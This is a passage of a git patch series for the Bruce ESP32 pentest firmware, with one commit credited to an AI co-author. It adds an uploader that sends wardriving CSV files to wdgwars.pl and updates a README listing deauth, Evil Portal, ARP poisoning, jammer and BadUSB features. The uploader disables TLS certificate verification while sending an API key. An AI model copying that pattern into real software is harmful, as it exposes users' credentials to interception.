@@ -82,6 +82,7 @@ class BruceConfig : public BruceTheme {
     String startupApp = "";
     String startupAppJSInterpreterFile = "";
     String wigleBasicToken = "";
+    String wdgwarsApiKey = "";
     int devMode = 0;
     int colorInverted = 1;
     int badUSBBLEKeyboardLayout = 0;
@@ -175,6 +176,7 @@ class BruceConfig : public BruceTheme {
     void setStartupApp(String value);
     void setStartupAppJSInterpreterFile(String value);
     void setWigleBasicToken(String value);
+    void setWdgwarsApiKey(String value);
     void setDevMode(int value);
     void validateDevModeValue();
     void setColorInverted(int value);
diff --git a/src/core/sd_functions.cpp b/src/core/sd_functions.cpp
index a890bf7cc..0cfc0dd5c 100644
--- a/src/core/sd_functions.cpp
+++ b/src/core/sd_functions.cpp
@@ -3,6 +3,7 @@
 #include "modules/badusb_ble/ducky_typer.h"
 #include "modules/bjs_interpreter/interpreter.h"
 #include "modules/gps/wigle.h"
+#include "modules/gps/wdgwars.h"
 #include "modules/ir/TV-B-Gone.h"
 #include "modules/ir/custom_ir.h"
 #include "modules/others/audio.h"
@@ -772,6 +773,16 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext, String rootPath) {
                                                              Wigle wigle;
                                                              wigle.upload_all(&fs, Folder);
                                                          }});
+                        options.insert(options.begin(), {"WDG Upload", [&]() {
+                                                             delay(200);
+                                                             WDGoWars wdg;
+                                                             wdg.upload(&fs, filepath);
+                                                         }});
+                        options.insert(options.begin(), {"WDG Up All", [&]() {
+                                                             delay(200);
+                                                             WDGoWars wdg;
+                                                             wdg.upload_all(&fs, Folder);
+                                                         }});
                     }
 #if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
                     if (filepath.endsWith(".bjs") || filepath.endsWith(".js")) {
diff --git a/src/core/serial_commands/settings_commands.cpp b/src/core/serial_commands/settings_commands.cpp
index e6d6ccd36..81d30d1ff 100644
--- a/src/core/serial_commands/settings_commands.cpp
+++ b/src/core/serial_commands/settings_commands.cpp
@@ -74,6 +74,7 @@ uint32_t settingsCallback(cmd *c) {
     if (setting_name == "rfidModule")
         bruceConfigPins.setRfidModule(static_cast<RFIDModules>(setting_value.toInt()));
     if (setting_name == "wigleBasicToken") bruceConfig.setWigleBasicToken(setting_value);
+    if (setting_name == "wdgwarsApiKey") bruceConfig.setWdgwarsApiKey(setting_value);
     if (setting_name == "devMode") bruceConfig.setDevMode(setting_value.toInt());
     if (setting_name == "disabledMenus") bruceConfig.addDisabledMenu(setting_value);
 
diff --git a/src/modules/gps/wdgwars.cpp b/src/modules/gps/wdgwars.cpp
new file mode 100644
index 000000000..9a49c7e84
--- /dev/null
+++ b/src/modules/gps/wdgwars.cpp
@@ -0,0 +1,180 @@
+/**
+ * @file wdgwars.cpp
+ * @brief WDGoWars connector — uploads wardriving CSV to wdgwars.pl
+ * @version 0.1
+ */
+
+#include "wdgwars.h"
+#include "core/display.h"
+#include "core/mykeyboard.h"
+#include "core/sd_functions.h"
+#include "core/wifi/wifi_common.h"
+
+#define CBUFLEN 1024
+
+WDGoWars::WDGoWars() {}
+
+WDGoWars::~WDGoWars() {}
+
+bool WDGoWars::_check_api_key() {
+    if (bruceConfig.wdgwarsApiKey == "") {
+        displayError("WDGoWars API key not found", true);
+        return false;
+    }
+
+    if (!wifiConnected) wifiConnectMenu();
+
+    return wifiConnected;
+}
+
+void WDGoWars::_display_banner() {
+    drawMainBorderWithTitle("WDG Upload");
+    padprintln("\n");
+}
+
+void WDGoWars::_send_upload_headers(WiFiClientSecure &client, String filename, int filesize, String boundary) {
+    int cd_header_len = 147 - 45 - 8 + filename.length() + 2 * (boundary.length() + 2);
+
+    client.print("POST ");
+    client.print(upload_path);
+    client.println(" HTTP/1.0");
+    client.print("Host: ");
+    client.println(host);
+    client.println("Connection: close");
+    client.println("User-Agent: bruce.wardriving");
+    client.print("X-API-Key: ");
+    client.println(bruceConfig.wdgwarsApiKey);
+    client.print("Content-Type: multipart/form-data; boundary=");
+    client.println(boundary);
+    client.print("Content-Length: ");
+    client.println(filesize + cd_header_len);
+    client.println();
+
+    client.println("--" + boundary);
+    client.print("Content-Disposition: form-data; name=\"file\"; filename=\"");
+    client.print(filename);
+    client.println("\"");
+    client.println("Content-Type: text/csv");
+    client.println();
+}
+
+bool WDGoWars::upload(FS *fs, String filepath, bool auto_delete) {
+    _display_banner();
+
+    if (!fs || !_check_api_key()) return false;
+
+    padprintln("Uploading to WDGoWars...");
+
+    File file = fs->open(filepath);
+    if (!file) {
+        displayError("Failed to open file", true);
+        return false;
+    }
+
+    if (!_upload_file(file, "Uploading...")) {
+        file.close();
+        displayError("File upload error", true);
+        return false;
+    }
+
+    file.close();
+    if (auto_delete) fs->remove(filepath);
+
+    displaySuccess("File upload success", true);
+    return true;
+}
+
+bool WDGoWars::upload_all(FS *fs, String folder, bool auto_delete) {
+    _display_banner();
+
+    if (!fs || !_check_api_key()) return false;
+
+    File root = fs->open(folder);
+    if (!root || !root.isDirectory()) return false;
+
+    padprintln("Uploading all to WDGoWars...");
+    int i = 1;
+    bool success;
+
+    while (true) {
+        bool isDir;
+        success = false;
+
+        String fullPath = root.getNextFileName(&isDir);
+        String nameOnly = fullPath.substring(fullPath.lastIndexOf("/") + 1);
+        if (fullPath == "") break;
+
+        if (!isDir) {
+            int dotIndex = nameOnly.lastIndexOf(".");
+            String ext = dotIndex >= 0 ? nameOnly.substring(dotIndex + 1) : "";
+            ext.toUpperCase();
+            if (ext.equals("CSV")) {
+                File file = fs->open(fullPath);
+                if (file) {
+                    if (!_upload_file(file, "Uploading " + String(i) + "...")) {
+                        file.close();
+                        displayError("File upload error", true);
+                        return false;
+                    }
+                    i++;
+                    success = true;
+                    file.close();
+                    if (success && auto_delete) fs->remove(fullPath);
+                }
+            }
+        }
+    }
+    root.close();
+
+    String plural = i > 2 ? "s" : "";
+    displaySuccess(String(i - 1) + " file" + plural + " uploaded", true);
+    return true;
+}
+
+bool WDGoWars::_upload_file(File file, String upload_message) {
+    WiFiClientSecure client;
+    client.setInsecure();
+    if (!client.connect(host, 443)) {
+        displayError("WDGoWars connection failed", true);
+        return false;
+    }
+
+    String filename = file.name();
+    int filesize = file.size();
+    String boundary = "BRUCE";
+    boundary.concat(esp_random());
+
+    _send_upload_headers(client, filename, filesize, boundary);
+
+    byte cbuf[CBUFLEN];
+    float percent = 0;
+    while (file.available()) {
+        long bytes_available = file.available();
+        int toread = CBUFLEN;
+        if (bytes_available < CBUFLEN) toread = bytes_available;
+        file.read(cbuf, toread);
+        client.write(cbuf, toread);
+        percent = ((float)file.position() / (float)file.size()) * 100;
+        progressHandler(percent, 100, upload_message);
+    }
+
+    client.println();
+    client.print("--");
+    client.print(boundary);
+    client.println("--");
+    client.println();
+    client.flush();
+
+    String serverres = "";
+    while (client.connected()) {
+        if (client.available()) {
+            char c = client.read();
+            serverres.concat(c);
+        }
+        if (serverres.length() > 1024) break;
+    }
+
+    client.stop();
+
+    return (serverres.indexOf("\"ok\":true") > -1);
+}
diff --git a/src/modules/gps/wdgwars.h b/src/modules/gps/wdgwars.h
new file mode 100644
index 000000000..22a7b43d8
--- /dev/null
+++ b/src/modules/gps/wdgwars.h
@@ -0,0 +1,31 @@
+/**
+ * @file wdgwars.h
+ * @brief WDGoWars connector — uploads wardriving CSV to wdgwars.pl
+ * @version 0.1
+ */
+
+#ifndef __WDGWARS_H__
+#define __WDGWARS_H__
+
+#include <WiFiClientSecure.h>
+#include <globals.h>
+
+class WDGoWars {
+public:
+    WDGoWars();
+    ~WDGoWars();
+
+    bool upload(FS *fs, String filepath, bool auto_delete = true);
+    bool upload_all(FS *fs, String folder, bool auto_delete = true);
+
+private:
+    const char *host = "wdgwars.pl";
+    const char *upload_path = "/api/upload-csv";
+
+    bool _check_api_key(void);
+    bool _upload_file(File file, String upload_message);
+    void _send_upload_headers(WiFiClientSecure &client, String filename, int filesize, String boundary);
+    void _display_banner(void);
+};
+
+#endif

From a4fd5f707b923e31e7afa331e27586ba39f59e29 Mon Sep 17 00:00:00 2001
From: LOCOSP <gitlab@locosp.org>
Date: Thu, 9 Apr 2026 04:14:04 +0200
Subject: [PATCH 32/73] feat: add API key hint in bruce.conf and validate key
 length

Default wdgwarsApiKey now shows a hint pointing to wdgwars.pl/profile.
Validation checks for 64-char hex key instead of empty string.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
---
 src/core/config.h           | 2 +-
 src/modules/gps/wdgwars.cpp | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/core/config.h b/src/core/config.h
index 95b5bd2a6..38a1c1666 100644
--- a/src/core/config.h
+++ b/src/core/config.h
@@ -82,7 +82,7 @@ class BruceConfig : public BruceTheme {
     String startupApp = "";
     String startupAppJSInterpreterFile = "";
     String wigleBasicToken = "";
-    String wdgwarsApiKey = "";
+    String wdgwarsApiKey = "your 64-char hex key from wdgwars.pl/profile";
     int devMode = 0;
     int colorInverted = 1;
     int badUSBBLEKeyboardLayout = 0;
diff --git a/src/modules/gps/wdgwars.cpp b/src/modules/gps/wdgwars.cpp
index 9a49c7e84..263c80d96 100644
--- a/src/modules/gps/wdgwars.cpp
+++ b/src/modules/gps/wdgwars.cpp
@@ -17,8 +17,8 @@ WDGoWars::WDGoWars() {}
 WDGoWars::~WDGoWars() {}
 
 bool WDGoWars::_check_api_key() {
-    if (bruceConfig.wdgwarsApiKey == "") {
-        displayError("WDGoWars API key not found", true);
+    if (bruceConfig.wdgwarsApiKey.length() != 64) {
+        displayError("Set API key in bruce.conf\nGet it at wdgwars.pl", true);
         return false;
     }
 

From 8187af4e75fe1ec805ad20b6cb38d2c8dc27d3be Mon Sep 17 00:00:00 2001
From: WERKuPL <156448589+WERKuPL@users.noreply.github.com>
Date: Sat, 11 Apr 2026 22:43:17 +0200
Subject: [PATCH 33/73] update README.md to use new wiki

---
 README.md | 215 +++++++++++++++++++++++++++---------------------------
 1 file changed, 106 insertions(+), 109 deletions(-)

diff --git a/README.md b/README.md
index da6d9d7d1..b46e35989 100644
--- a/README.md
+++ b/README.md
@@ -10,9 +10,11 @@ It also supports M5stack and Lilygo products and works great with Cardputer, Sti
 ## :building_construction: How to install
 
 ### The easiest way to install Bruce is using our official Web Flasher!
+
 ### Check out: https://bruce.computer/flasher
 
 Alternatively, you can download the latest binary from releases or actions and flash locally using esptool.py
+
 ```sh
 esptool.py --port /dev/ttyACM0 write_flash 0x00000 Bruce-<device>.bin
 ```
@@ -23,15 +25,14 @@ If you already use M5Launcher to manage your m5stack device, you can install it
 
 Or you can burn it directly from the [m5burner tool](https://docs.m5stack.com/en/download), just search for 'Bruce' (My official builds will be uploaded by "owner" and have photos.) on the device category you want to and click on burn
 
-
 ## :keyboard: Discord Server
 
 Contact us in our [Discord Server](https://discord.gg/WJ9XF9czVT)!
 
 ## :bookmark_tabs: Wiki
 
-For more information on each function supported by Bruce, [read our wiki here](https://github.com/pr3y/Bruce/wiki).
-Also, [read our FAQ](https://github.com/pr3y/Bruce/wiki/FAQ)
+For more information on each function supported by Bruce, [read our wiki here](https://wiki.bruce.computer/).
+Also, [read our FAQ](https://wiki.bruce.computer/faq/)
 
 ## :computer: List of Features
 
@@ -41,25 +42,25 @@ Also, [read our FAQ](https://github.com/pr3y/Bruce/wiki/FAQ)
 - [x] Connect to WiFi
 - [x] WiFi AP
 - [x] Disconnect WiFi
-- [x] [WiFi Atks](https://github.com/pr3y/Bruce/wiki/WiFi#wifi-atks)
-  - [x] [Beacon Spam](https://github.com/pr3y/Bruce/wiki/WiFi#beacon-spam)
-  - [x] [Target Atk](https://github.com/pr3y/Bruce/wiki/WiFi#target-atk)
+- [x] [WiFi Atks](https://wiki.bruce.computer/features/wifi/#wifi-atks)
+  - [x] [Beacon Spam](https://wiki.bruce.computer/features/wifi/#beacon-spam)
+  - [x] [Target Atk](https://wiki.bruce.computer/features/wifi/#target-atks)
     - [x] Information
     - [x] Target Deauth
     - [x] EvilPortal + Deauth
   - [x] Deauth Flood (More than one target)
-- [x] [Wardriving](https://github.com/pr3y/Bruce/wiki/Wardriving)
-- [x] [TelNet](https://github.com/pr3y/Bruce/wiki/WiFi#telnet)
-- [x] [SSH](https://github.com/pr3y/Bruce/wiki/WiFi#ssh)
-- [x] [RAW Sniffer](https://github.com/pr3y/Bruce/wiki/WiFi#raw-sniffer)
-- [x] [TCP Client](https://github.com/pr3y/Bruce/wiki/WiFi#tcp-client)
-- [x] [TCP Listener](https://github.com/pr3y/Bruce/wiki/WiFi#tcp-listener)
-- [x] [Evil Portal](https://github.com/pr3y/Bruce/wiki/WiFi#evil-portal)
-- [x] [Scan Hosts](https://github.com/pr3y/Bruce/wiki/WiFi#evil-portal) (with TCP Port scanning)
-- [x] [Responder](https://github.com/BruceDevices/firmware/wiki/WiFi#responder)
-- [x] [Arp Spoofing](https://github.com/BruceDevices/firmware/wiki/WiFi#arp-spoofing)
-- [x] [Arp Poisoning](https://github.com/BruceDevices/firmware/wiki/WiFi#arp-poisoning)
-- [x] [Wireguard Tunneling](https://github.com/pr3y/Bruce/wiki/WiFi#wireguard-tunneling)
+- [x] [Wardriving](https://wiki.bruce.computer/features/gps/#wardriving)
+- [x] [TelNet](https://wiki.bruce.computer/features/wifi/#telnet)
+- [x] [SSH](https://wiki.bruce.computer/features/wifi/#ssh)
+- [x] [RAW Sniffer](https://wiki.bruce.computer/features/wifi/#raw-sniffer)
+- [x] [TCP Client](https://wiki.bruce.computer/features/wifi/#client-tcp)
+- [x] [TCP Listener](https://wiki.bruce.computer/features/wifi/#listen-tcp)
+- [x] [Evil Portal](https://wiki.bruce.computer/features/wifi/#evil-portal)
+- [x] [Scan Hosts](https://wiki.bruce.computer/features/wifi/#scan-hosts) (with TCP Port scanning)
+- [x] [Responder](https://wiki.bruce.computer/features/wifi/#responder)
+- [x] [Arp Spoofing](https://wiki.bruce.computer/features/wifi/#arp-spoofing)
+- [x] [Arp Poisoning](https://wiki.bruce.computer/features/wifi/#arp-poisoning)
+- [x] [Wireguard Tunneling](https://wiki.bruce.computer/features/wifi/#wireguard-tunneling)
 - [x] Brucegotchi
   - [x] Pwnagotchi friend
   - [x] Pwngrid spam faces & names
@@ -71,32 +72,31 @@ Also, [read our FAQ](https://github.com/pr3y/Bruce/wiki/FAQ)
 <details>
   <summary><h2>BLE</h2></summary>
 
-- [X] [BLE Scan](https://github.com/pr3y/Bruce/wiki/BLE#ble-scan)
-- [X] Bad BLE - Run Ducky scripts, similar to [BadUsb](https://github.com/pr3y/Bruce/wiki/Others#badusb)
-- [X] BLE Keyboard - Cardputer and T-Deck Only
-- [X] iOS Spam
-- [X] Windows Spam
-- [X] Samsung Spam
-- [X] Android Spam
-- [X] Spam All
+- [x] [BLE Scan](https://wiki.bruce.computer/features/ble/#ble-scan)
+- [x] Bad BLE - Run Ducky scripts, similar to [BadUsb](https://wiki.bruce.computer/features/ble/#badble)
+- [x] BLE Keyboard - Cardputer and T-Deck Only
+- [x] iOS Spam
+- [x] Windows Spam
+- [x] Samsung Spam
+- [x] Android Spam
+- [x] Spam All
 </details>
 
-
 <details>
   <summary><h2>RF</h2></summary>
 
 - [x] Scan/Copy
-- [x] [Custom SubGhz](https://github.com/pr3y/Bruce/wiki/RF#replay-payloads-like-flipper)
+- [x] [Custom SubGhz](https://wiki.bruce.computer/features/rf/#replay-payloads-like-flipper)
 - [x] Spectrum
 - [x] Jammer Full (sends a full squared wave into output)
 - [x] Jammer Intermittent (sends PWM signal into output)
 - [x] Config
-    - [X] RF TX Pin
-    - [X] RF RX Pin
-    - [X] RF Module
-        - [x] RF433 T/R M5Stack
-        - [x] [CC1101 (Sub-Ghz)](https://github.com/pr3y/Bruce/wiki/CC1101)
-    - [X] RF Frequency
+  - [x] RF TX Pin
+  - [x] RF RX Pin
+  - [x] RF Module
+    - [x] RF433 T/R M5Stack
+    - [x] [CC1101 (Sub-Ghz)](https://wiki.bruce.computer/features/rf/#cc1101)
+  - [x] RF Frequency
 - [x] Replay
 </details>
 
@@ -114,9 +114,9 @@ Also, [read our FAQ](https://github.com/pr3y/Bruce/wiki/FAQ)
 - [x] Save file
 - [x] Load file
 - [x] Config
-    - [X] [RFID Module](https://github.com/pr3y/Bruce/wiki/RFID#supported-modules)
-        - [x] PN532
-        - [x] PN532Killer
+  - [x] [RFID Module](https://wiki.bruce.computer/features/rfid/#supported-modules)
+    - [x] PN532
+    - [x] PN532Killer
 - [ ] Emulate tag
 </details>
 
@@ -125,78 +125,76 @@ Also, [read our FAQ](https://github.com/pr3y/Bruce/wiki/FAQ)
 
 - [x] TV-B-Gone
 - [x] IR Receiver
-- [x] [Custom IR (NEC, NECext, SIRC, SIRC15, SIRC20, Samsung32, RC5, RC5X, RC6)](https://github.com/pr3y/Bruce/wiki/IR#replay-payloads-like-flipper)
-- [x] Config
-    - [X] Ir TX Pin
-    - [X] Ir RX Pin
+- [x] [Custom IR (NEC, NECext, SIRC, SIRC15, SIRC20, Samsung32, RC5, RC5X, RC6)](https://wiki.bruce.computer/features/ir/#replay-payloads-like-flipper)
+- [x] Config - [X] Ir TX Pin - [X] Ir RX Pin
 </details>
 
 <details>
   <summary><h2>FM</h2></summary>
 
-- [x] [Broadcast standard](https://github.com/pr3y/Bruce/wiki/FM#play_or_pause_button-broadcast-standard)
-- [x] [Broadcast reserved](https://github.com/pr3y/Bruce/wiki/FM#no_entry_sign-broadcast-rerserved)
-- [x] [Broadcast stop](https://github.com/pr3y/Bruce/wiki/FM#stop_button-broadcast-stop)
-- [ ] [FM Spectrum](https://github.com/pr3y/Bruce/wiki/FM#ocean-fm-spectrum)
-- [ ] [Hijack Traffic Announcements](https://github.com/pr3y/Bruce/wiki/FM#car-hijack-ta)
-- [ ] [Config](https://github.com/pr3y/Bruce/wiki/FM#bookmark_tabs-config)
+- [x] [Broadcast standard](https://wiki.bruce.computer/features/fm/#broadcast-standard)
+- [x] [Broadcast reserved](https://wiki.bruce.computer/features/fm/#broadcast-standard)
+- [x] [Broadcast stop](https://wiki.bruce.computer/features/fm/#broadcast-stop)
+- [ ] [FM Spectrum](https://wiki.bruce.computer/features/fm/#fm-spectrum)
+- [ ] [Hijack Traffic Announcements](https://wiki.bruce.computer/features/fm/#hijack-ta)
+- [ ] [Config](https://wiki.bruce.computer/features/fm/#bookmark_tabs-config)
 </details>
 
 <details>
   <summary><h2>NRF24</h2></summary>
 
-- [X] [NRF24 Jammer](https://github.com/pr3y/Bruce/wiki/BLE#nrf24-jammer)
-- [X] 2.4G Spectrum
+- [x] [NRF24 Jammer](https://wiki.bruce.computer/features/nrf24/)
+- [x] 2.4G Spectrum
 - [ ] Mousejack
 </details>
 
 <details>
   <summary><h2>Scripts</h2></summary>
 
-- [X] [JavaScript Interpreter](https://github.com/pr3y/Bruce/wiki/Interpreter) [Credits to justinknight93](https://github.com/justinknight93/Doolittle)
+- [x] [JavaScript Interpreter](https://wiki.bruce.computer/features/js-interpreter/) [Credits to justinknight93](https://github.com/justinknight93/Doolittle)
 </details>
 
 <details>
   <summary><h2>Others</h2></summary>
 
-- [X] Mic Spectrum
-- [X] QRCodes
-    - [x] Custom
-    - [x] PIX (Brazil bank transfer system)
+- [x] Mic Spectrum
+- [x] [QRCodes](https://wiki.bruce.computer/features/others/#qrcodes)
+  - [x] Custom
+  - [x] PIX (Brazil bank transfer system)
 - [x] [SD Card Mngr](https://github.com/pr3y/Bruce/wiki/Others#sd-card-mngr)
-    - [x] View image (jpg)
-    - [x] File Info
-    - [x] [Wigle Upload](https://github.com/pr3y/Bruce/wiki/Wardriving#how-to-upload)
-    - [x] Play Audio
-    - [x] View File
-- [x] [LittleFS Mngr](https://github.com/pr3y/Bruce/wiki/Others#littlefs-mngr)
-- [x] [WebUI](https://github.com/pr3y/Bruce/wiki/Others#webui)
-    - [x] Server Structure
-    - [x] Html
-    - [x] SDCard Mngr
-    - [x] Spiffs Mngr
+  - [x] View image (jpg)
+  - [x] File Info
+  - [x] [Wigle Upload](https://wiki.bruce.computer/features/gps/#how-to-use-wigle)
+  - [x] Play Audio
+  - [x] View File
+- [x] LittleFS Mngr
+- [x] [WebUI](https://wiki.bruce.computer/controlling-device/webui/)
+  - [x] Server Structure
+  - [x] Html
+  - [x] SDCard Mngr
+  - [x] Spiffs Mngr
 - [x] Megalodon
-- [x] [BADUsb (New features, LittleFS and SDCard)](https://github.com/pr3y/Bruce/wiki/Others#badusb)
+- [x] [BADUsb (New features, LittleFS and SDCard)](https://wiki.bruce.computer/features/others/#badusb)
 - [x] USB Keyboard - Cardputer and T-Deck Only
-- [x] [iButton](https://github.com/pr3y/Bruce/wiki/Others#ibutton)
-- [x] [LED Control](https://github.com/pr3y/Bruce/wiki/Others#led-control)
+- [x] [iButton](https://wiki.bruce.computer/features/others/#ibutton)
+- [x] LED Control
 </details>
 
 <details>
   <summary><h2>Clock</h2></summary>
 
-- [X] RTC Support
-- [X] NTP time adjust
-- [X] Manual adjust
+- [x] RTC Support
+- [x] NTP time adjust
+- [x] Manual adjust
 </details>
 
 <details>
   <summary><h2>Connect (ESPNOW)</h2></summary>
 
-- [X] Send File
-- [X] Receive File
-- [X] Send Commands
-- [X] Receive Commands
+- [x] Send File
+- [x] Receive File
+- [x] Send Commands
+- [x] Receive Commands
 </details>
 
 <details>
@@ -205,7 +203,7 @@ Also, [read our FAQ](https://github.com/pr3y/Bruce/wiki/FAQ)
 - [x] Brightness
 - [x] Dim Time
 - [x] Orientation
-- [X] UI Color
+- [x] UI Color
 - [x] Boot Sound on/off
 - [x] Clock
 - [x] Sleep
@@ -213,30 +211,30 @@ Also, [read our FAQ](https://github.com/pr3y/Bruce/wiki/FAQ)
 </details>
 
 ## Specific functions per Device, the ones not mentioned here are available to all.
-| Device                  | CC1101    | NRF24    | FM Radio  | PN532     | Mic   | BadUSB    | RGB Led | Speaker   | Fuel Guage | LITE_VERSION |
-| ---                     | :---:     | :---:    | :---:     | :---:     | :---: | :---:     | :---:   | :---:     | :---:      | :---:     |
-| [M5Stack Cardputer](https://shop.m5stack.com/products/m5stack-cardputer-kit-w-m5stamps) (and ADV)      | :ok:      | :ok:     | :ok:      | :ok:      | :ok:  | :ok:      | :ok:    | NS4168    | :x:        | :x:       |
-| [M5Stack M5StickC PLUS2](https://shop.m5stack.com/products/m5stickc-plus2-esp32-mini-iot-development-kit)  | :ok:      | :ok:         | :ok:      | :ok:      | :ok:  | :ok:¹     | :x:     | Tone      | :x:        | :x:       |
-| [M5Stack M5StickC PLUS](https://shop.m5stack.com/products/m5stickc-plus-esp32-pico-mini-iot-development-kit)   | :ok:      | :ok:          | :ok:      | :ok:      | :ok:  | :ok:¹     | :x:     | Tone      | :x:        | :x:²     |
-| [M5Stack M5Core BASIC](https://shop.m5stack.com/products/basic-core-iot-development-kit)    | :ok:        | :ok:       | :ok:       | :ok:        | :ok:  | :ok:¹     | :x:     | Tone      | :x:        | :x:       |
-| [M5Stack M5Core2](https://shop.m5stack.com/products/m5stack-core2-esp32-iot-development-kit-v1-1)    | :ok:        | :ok:          | :ok:        | :ok:        | :ok:  | :ok:¹     | :x:     | :x:       | :x:        | :x:       |
-| [M5Stack M5CoreS3](https://shop.m5stack.com/products/m5stack-cores3-esp32s3-lotdevelopment-kit)/[SE](https://shop.m5stack.com/products/m5stack-cores3-se-iot-controller-w-o-battery-bottom)     | :ok:        | :ok:         | :ok:        | :ok:        | :x:   | :ok:      | :x:     | :x:       | :x:        | :x:       |
-| [JCZN CYD&#x2011;2432S028](https://www.aliexpress.us/item/3256804774970998.html)       | :ok:      | :ok:     | :ok:       | :ok:      | :x:   | :ok:¹     | :x:     | :x:       | :x:        | :x:²      |
-| [Lilygo T&#x2011;Embed CC1101](https://lilygo.cc/products/t-embed-cc1101)   | :ok:      | :ok:         | :ok:       | :ok:      | :ok:  | :ok:      | :ok:    | :ok:      | :ok:       | :x:       |
-| [Lilygo T&#x2011;Embed](https://lilygo.cc/products/t-embed)          | :ok:       | :ok:      | :ok:       | :ok:      | :ok:  | :ok:      | :ok:    | :ok:      | :x:        | :x:       |
-| [Lilygo T-Display-S3](https://lilygo.cc/products/t-display-s3) | :ok:       | :ok:      | :x:       | :x:       | :x:   | :ok:      | :x:     | :x:       | :x:        | :x:       |
-| [Lilygo T&#x2011;Deck](https://lilygo.cc/products/t-deck) ([and pro](https://lilygo.cc/products/t-deck-plus-1)) | :ok:       | :x:      | :x:       | :x:       | :x:   | :ok:      | :x:     | :x:       | :x:        | :x:       |
-| [Lilygo T-Watch-S3](https://lilygo.cc/products/t-watch-s3) | :x:       | :x:      | :x:       | :x:       | :x:   | :ok:      | :x:     | :x:       | :x:        | :x:       |
-| [Lilygo T-LoRa Pager](https://lilygo.cc/products/t-lora-pager) | :x:       | :x:      | :x:       | :x:       | :x:   | :ok:      | :x:     | :x:       | :x:        | :x:       |
-| [Smoochiee V2](https://www.pcbway.com/project/shareproject/Bruce_PCB_Smoochiee_d6a0284b.html) | :ok:       | :ok:      | :x:       | :ok:       | :x:   | :ok:      | :x:     | :x:       | :x:        | :x:       |
-| [ESP32-C5](https://docs.espressif.com/projects/esp-dev-kits/en/latest/esp32c5/esp32-c5-devkitc-1/user_guide.html) | :ok:       | :ok:      | :x:       | :ok:       | :x:   | :x:      | :x:     | :x:       | :x:        | :x:       |
-| [Bruce RF Reaper](https://www.elecrow.com/bruce-pcb-rf-reaper.html) | :ok:       | :ok:      | :x:       | :x: but w/ ST25R3916 | :x:   | :ok:      | :ok:     | :x:       | :ok:        | :x:       |
 
-² CYD have a LITE_VERSION version for Launcher Compatibility
-¹ Core, CYD and StickCs Bad-USB: [here](https://github.com/pr3y/Bruce/wiki/Others#badusb)
+| Device                                                                                                                                                                                      | CC1101 | NRF24 | FM Radio |        PN532         | Mic  | BadUSB | RGB Led | Speaker | Fuel Guage | LITE_VERSION |
+| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :----: | :---: | :------: | :------------------: | :--: | :----: | :-----: | :-----: | :--------: | :----------: |
+| [M5Stack Cardputer](https://shop.m5stack.com/products/m5stack-cardputer-kit-w-m5stamps) (and ADV)                                                                                           |  :ok:  | :ok:  |   :ok:   |         :ok:         | :ok: |  :ok:  |  :ok:   | NS4168  |    :x:     |     :x:      |
+| [M5Stack M5StickC PLUS2](https://shop.m5stack.com/products/m5stickc-plus2-esp32-mini-iot-development-kit)                                                                                   |  :ok:  | :ok:  |   :ok:   |         :ok:         | :ok: | :ok:¹  |   :x:   |  Tone   |    :x:     |     :x:      |
+| [M5Stack M5StickC PLUS](https://shop.m5stack.com/products/m5stickc-plus-esp32-pico-mini-iot-development-kit)                                                                                |  :ok:  | :ok:  |   :ok:   |         :ok:         | :ok: | :ok:¹  |   :x:   |  Tone   |    :x:     |     :x:²     |
+| [M5Stack M5Core BASIC](https://shop.m5stack.com/products/basic-core-iot-development-kit)                                                                                                    |  :ok:  | :ok:  |   :ok:   |         :ok:         | :ok: | :ok:¹  |   :x:   |  Tone   |    :x:     |     :x:      |
+| [M5Stack M5Core2](https://shop.m5stack.com/products/m5stack-core2-esp32-iot-development-kit-v1-1)                                                                                           |  :ok:  | :ok:  |   :ok:   |         :ok:         | :ok: | :ok:¹  |   :x:   |   :x:   |    :x:     |     :x:      |
+| [M5Stack M5CoreS3](https://shop.m5stack.com/products/m5stack-cores3-esp32s3-lotdevelopment-kit)/[SE](https://shop.m5stack.com/products/m5stack-cores3-se-iot-controller-w-o-battery-bottom) |  :ok:  | :ok:  |   :ok:   |         :ok:         | :x:  |  :ok:  |   :x:   |   :x:   |    :x:     |     :x:      |
+| [JCZN CYD&#x2011;2432S028](https://www.aliexpress.us/item/3256804774970998.html)                                                                                                            |  :ok:  | :ok:  |   :ok:   |         :ok:         | :x:  | :ok:¹  |   :x:   |   :x:   |    :x:     |     :x:²     |
+| [Lilygo T&#x2011;Embed CC1101](https://lilygo.cc/products/t-embed-cc1101)                                                                                                                   |  :ok:  | :ok:  |   :ok:   |         :ok:         | :ok: |  :ok:  |  :ok:   |  :ok:   |    :ok:    |     :x:      |
+| [Lilygo T&#x2011;Embed](https://lilygo.cc/products/t-embed)                                                                                                                                 |  :ok:  | :ok:  |   :ok:   |         :ok:         | :ok: |  :ok:  |  :ok:   |  :ok:   |    :x:     |     :x:      |
+| [Lilygo T-Display-S3](https://lilygo.cc/products/t-display-s3)                                                                                                                              |  :ok:  | :ok:  |   :x:    |         :x:          | :x:  |  :ok:  |   :x:   |   :x:   |    :x:     |     :x:      |
+| [Lilygo T&#x2011;Deck](https://lilygo.cc/products/t-deck) ([and pro](https://lilygo.cc/products/t-deck-plus-1))                                                                             |  :ok:  |  :x:  |   :x:    |         :x:          | :x:  |  :ok:  |   :x:   |   :x:   |    :x:     |     :x:      |
+| [Lilygo T-Watch-S3](https://lilygo.cc/products/t-watch-s3)                                                                                                                                  |  :x:   |  :x:  |   :x:    |         :x:          | :x:  |  :ok:  |   :x:   |   :x:   |    :x:     |     :x:      |
+| [Lilygo T-LoRa Pager](https://lilygo.cc/products/t-lora-pager)                                                                                                                              |  :x:   |  :x:  |   :x:    |         :x:          | :x:  |  :ok:  |   :x:   |   :x:   |    :x:     |     :x:      |
+| [Smoochiee V2](https://www.pcbway.com/project/shareproject/Bruce_PCB_Smoochiee_d6a0284b.html)                                                                                               |  :ok:  | :ok:  |   :x:    |         :ok:         | :x:  |  :ok:  |   :x:   |   :x:   |    :x:     |     :x:      |
+| [ESP32-C5](https://docs.espressif.com/projects/esp-dev-kits/en/latest/esp32c5/esp32-c5-devkitc-1/user_guide.html)                                                                           |  :ok:  | :ok:  |   :x:    |         :ok:         | :x:  |  :x:   |   :x:   |   :x:   |    :x:     |     :x:      |
